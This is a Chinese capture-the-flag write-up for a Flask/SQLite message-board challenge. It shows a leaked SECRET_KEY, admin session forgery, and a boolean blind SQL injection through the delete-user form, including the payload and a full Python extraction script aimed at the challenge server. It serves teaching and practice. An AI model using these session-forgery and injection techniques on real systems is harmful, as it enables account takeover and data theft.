美文网首页CTF
CTF-Web Drops留言板源码&WriteUp

CTF-Web Drops留言板源码&WriteUp

作者: FoxRoot | 来源:发表于2018-12-27 17:34 被阅读112次

    因代码写的很烂 ,本不想放出源码的,无奈做题的大佬想看源码,只能凑合着放出了。大佬们请勿喷代码烂。

    题目源码:https://github.com/fox-style/CTF-Web/tree/master/Drops留言板/

    考点:

    1. 信息泄露
    2. flask-session伪造
    3. delete盲注

    环境:

    1. python3环境
    2. flask 1.0.2框架
    3. sqlite3数据库

    其他说明:

    1. 为了避免大佬们按着前台功能怼,未开前台留言功能。
    2. sqlite数据库30分钟还原一次到初始库。
    3. 未经本人许可,题目和writeup请勿做它用。

    信息泄露

    很醒目的一张挑衅的图片:

    image

    通过图片地址https://raw.githubusercontent.com/alipql/tuku/master/8856eac7gy1fkmf2o66yyj205k05kq2z.jpg可以发现alipql这个人的github仓库:
    https://github.com/alipql
    在homework这个库里面的homework2中可以找到一个非空的config.py配置文件:

    #!/usr/bin/env python3
    # coding=utf-8
    import os
    
    class Config():
        BaseDir = os.path.abspath(os.path.dirname(__file__))
        DB_FILE = os.path.join(BaseDir, 'dbfile.sql')
        SQLALCHEMY_DATABASE_URI = 'sqlite:///' + DB_FILE
        SQLALCHEMY_TRACK_MODIFICATIONS = True
        SQLALCHEMY_COMMIT_ON_TEARDOWN = True
        SECRET_KEY = 'dropseckey123'
    
    config = {
        'default': Config
    }
    

    从config.py配置文件中可得到secert_key、sql数据库类型。

    flask-session伪造

    利用已知的SECRET_KEY可以进行flask的session伪造。

    伪造session exp:https://github.com/noraj/flask-session-cookie-manager

    题目中预制的有两个用户,test/test,user/user,可通过登录用户时返回的session验证SECRET_KEY是否正确:


    image

    SECRET_KEY可成功解密session为明文信息,接下来伪造admin用户的session:


    image
    替换掉session,即可成功登录到admin账户获取管理权限。
    image

    可以看到admin的加密密码是不存在的,所以爆破也是不可能的。从这可以得到一个tip,存在一个flag表和flag字段。

    delete布尔盲注

    管理功能中为避免大量无用payload影响视觉和删账号的问题,就将数据库预设为30分钟还原一次到初始。貌似也留了个小坑,不过盲注测试的时间不在这还原数据库的一霎那,是没有影响的。

    对添加用户功能和删除用户功能稍微一测试,会发现删除用户功能是存在注入的,是delete的注入。从config.py的信息泄露中可以知道数据库为sqlite,导致很多函数不能用;由于又是个delete方式,导致很多姿势用不上。

    在这里轻微fuzz一下可发现只过滤了drop、update、delete等部分删表删flag改flag的关键字,而and、substr、selete、from、空格等未过滤,参数为单引号包裹,所以可组合一个payload:' and substr((select flag from flag),1,1)=='f

    先增加用户,在删除用户时提交payload再进行布尔判断即可盲注flag。
    例如增加111用户后再删除用户111:


    image

    返回包中不存在111用户,说明flag第一个字母为f。接下来写个小脚本跑一下就可以了。

    小脚本:

    #!/usr/bin/env python3
    # coding=utf-8
    import requests
    
    class sqliexp:
        def __init__(self):
            self.url = 'http://172.93.39.218:8888/admin'
            self.session = 'eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sIm5hbWUiOiJhZG1pbiJ9.XB-iXg.PURonzshjlDsEvsXYZ24YyuAgI4'
            self.flag = ''
    
        # 增加111用户
        def adduser(self):
            cookies = {'session': self.session}
            data = {'username': '111', 'password': '111'}
            try:
                requests.post(url=self.url, cookies=cookies, data=data)
            except TimeoutError:
                exit(-1)
    
        # 删除111用户,根据返回text中是否存在111用户来判断true/false
        def deluser(self, num):
            cookies = {'session': self.session}
            for strs in 'flag{}0123456789bcde':
                payload = "111' and substr((select flag from flag),%d,1)=='%s" % (num, strs)
                data = {'usernamedel': payload}
                try:
                    response = requests.post(url=self.url, data=data, cookies=cookies)
                    if '111' not in response.text:
                        self.flag += strs
                        return 1
                except TimeoutError:
                    exit(-1)
                    
    if __name__ == '__main__':
        exp = sqliexp()
        for num in range(1, 39, 1):
            exp.adduser()
            exp.deluser(num)
            print(exp.flag)
    

    相关文章

      网友评论

        本文标题:CTF-Web Drops留言板源码&WriteUp

        本文链接:https://www.haomeiwen.com/subject/fzzrlqtx.html